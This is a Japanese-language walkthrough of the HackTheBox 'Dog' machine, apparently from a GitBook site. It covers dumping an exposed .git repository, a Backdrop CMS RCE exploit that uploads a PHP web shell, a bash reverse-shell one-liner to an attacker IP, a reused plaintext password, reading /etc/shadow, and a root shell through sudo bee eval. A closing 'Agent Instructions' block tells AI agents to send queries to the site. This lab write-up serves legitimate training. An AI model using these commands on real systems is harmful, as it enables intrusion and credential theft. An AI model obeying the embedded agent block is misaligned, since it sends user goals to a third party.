> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md).

# Dog HackTheBox攻略記事

.gitフォルダからの情報抽出（情報漏えい）、認証済みリモートコード実行（CMS Backdrop）、ピボット（パスワード再利用）、sudoにより

{% embed url="<https://app.hackthebox.com/machines/Dog>" %}

{% hint style="warning" %}
**スキル:**

* .gitフォルダから情報を抽出（情報漏えい）
* 認証済みリモートコード実行（CMS Backdrop）
* ピボット（パスワードの再利用）
* sudoでbeeバイナリを実行（PHPコードの実行）（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b0799781f17526e27c7bf954574f1958429f1f%2Fimage%20(623).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de6ccfcda810beb202281fe65f9d346ca9f51127%2Fimage%20(624).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.58 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d37fa3111aee7368a40d19afc2ac3e3ce6285d5%2Fimage%20(625).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmap 22.80 によるポートのバージョンスキャン:**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80 10.10.11.58 -oN targeted 
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f9793b85f1e941ffbb225a75c9ddd16015082c2%2Fimage%20(627).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート80 - HTTP

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12b6acc1bb82fff1563bba2d2e3f9eea61e9e2c9%2Fimage%20(628).png?alt=media" alt=""><figcaption></figcaption></figure>

次のものが見つかる: **.git** ディレクトリ。公開アクセス可能なGitリポジトリの可能性を示しています。サイトは **Backdrop** CMS。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6cf45fef64f2ccf3abea7e9f4e35eac72ab6527%2Fimage%20(629).png?alt=media" alt=""><figcaption></figcaption></figure>

**Gobusterによる列挙**

```bash
gobuster dir -u http://10.10.11.58 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

以下を含む、いくつかの興味深いディレクトリが見つかります **.git**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dca9e2c920e3e9d0245d4f33afc0656169c4e3fa%2Fimage%20(630).png?alt=media" alt=""><figcaption></figcaption></figure>

**Gitリポジトリのダンプ**

次の方法でリポジトリの内容を取得します:

```git
git-dumper http://10.10.11.58/.git .git
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8761e8c7602332845bf0d5005227a752b21fd048%2Fimage%20(631).png?alt=media" alt=""><figcaption></figcaption></figure>

我々はある **settings.php** パスワードを含むファイル:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16fff1520d2a586aa99f5350f33a2b8fcbea0bc9%2Fimage%20(632).png?alt=media" alt=""><figcaption></figcaption></figure>

次の方法で保存されたメールを検索します:

```bash
find .git -type f -exec grep -E '@dog' {} +
```

次のメールアドレスが見つかります: **<tiffany@dog.htb>**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74d3075d5c00a3d143bba87d4851630a17b9c433%2Fimage%20(633).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Backdrop CMSの悪用（RCE）**

見つかった認証情報を使用してCMSに接続します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7d05759319e5aae7c9d41455e72c9646ec56c87%2Fimage%20(634).png?alt=media" alt=""><figcaption></figcaption></figure>

**脆弱性を検索**

次の **searchsploit**、RCEの脆弱性を特定します:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c8750629d8cbaecd734ff386c172f9f3fce7a84%2Fimage%20(635).png?alt=media" alt=""><figcaption></figcaption></figure>

エクスプロイトを実行します:

```bash
python3 52021.py http://10.10.11.58
```

これにより、PHPシェルを含むZIPファイルが生成されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6b8c2803d4083cf218a11b04cf954ae7685e362%2Fimage%20(636).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、シェルを次の形式に圧縮します **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60bffde1288acfaf36be4a9571b7c7dfd02e243f%2Fimage%20(637).png?alt=media" alt=""><figcaption></figcaption></figure>

これを次の方法で注入します **admin / installer / manual**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bebfa41d951db53d2ef0c6468c878df064a62f2%2Fimage%20(638).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be618b8a576f80deb6cd999be90e6cfbad1a7ef2%2Fimage%20(639).png?alt=media" alt=""><figcaption></figcaption></figure>

**注文処理**

フォルダを見つけます **modules/cmd/** を含む **cmd.php**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e31cc9cb22e5a42ed6909f55a8e9484921a0108a%2Fimage%20(640).png?alt=media" alt=""><figcaption></figcaption></figure>

これにより、コマンドを実行できます:

```bash
ifconfig 
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23ca234217fa95f326999e5d5d57844118a33442%2Fimage%20(641).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Backdrop CMSのリバースシェル**

ポート443でリスナーを開きます:

```bash
nc -nlvp 443 
```

ペイロードを注入します:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08b91c3335d4e87f3252071166ac44288c01ef39%2Fimage%20(642).png?alt=media" alt=""><figcaption></figcaption></figure>

接続後、シェルを安定化します:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## **権限昇格**

### **ユーザーjohncusackへのピボット**

有効なBashシェルを持つユーザーを一覧表示します:

```bash
cat /etc/passwd | grep "/bash"
```

私たちは **root、jobert、johncusack**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24eaebf34b7a9ec59821c82ba85aed7f89deec47%2Fimage%20(643).png?alt=media" alt=""><figcaption></figcaption></figure>

認証情報の再利用を試み、次の方法でアクセスを取得します:

```bash
su johncusack
BackDropJ2024DS2024
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aee9ae961fc30108b3715847ec51d3c1a96a48a0%2Fimage%20(644).png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3795951603ee379ea4d24a779844d04a85fca1e1%2Fimage%20(648).png?alt=media" alt="" width="557"><figcaption></figcaption></figure>

### **Beeバイナリによる権限昇格**

sudo権限を確認します:

```bash
sudo -l
```

次を実行できます **/usr/local/bin/bee** root権限で。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f24d3737f30f7efe05aa128faaa4d6d23e277e9c%2Fimage%20(645).png?alt=media" alt=""><figcaption></figcaption></figure>

**Beeの解析**

{% hint style="info" %}
Beeは以下のための管理ツールです **Backdrop CMS**、次のものに似ています **Drush** Drupal向けのものです。さまざまなコマンドの実行を可能にします。
{% endhint %}

`使用法: bee [global-options] [options] [arguments]`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d412d26b585e1d1c1f44048436f99dc13e183fb5%2Fimage%20(646).png?alt=media" alt=""><figcaption></figcaption></figure>

次を特定します **eval** オプション。任意のPHPコードを実行できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6adc0a0848bf8e4378a80347ee7664bca75f76e4%2Fimage%20(647).png?alt=media" alt=""><figcaption></figcaption></figure>

**読み取り `/etc/shadow`**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fdc0fd20adf91a65dbdaaf26f8c10a680141a43%2Fimage%20(649).png?alt=media" alt=""><figcaption></figcaption></figure>

**rootシェルを取得**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c84bf1122334818882ac43099f12872be39a876a%2Fimage%20(650).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05300e30ecc099bf870dbe6d7c9e576836a5dda0%2Fimage%20(651).png?alt=media" alt="" width="398"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
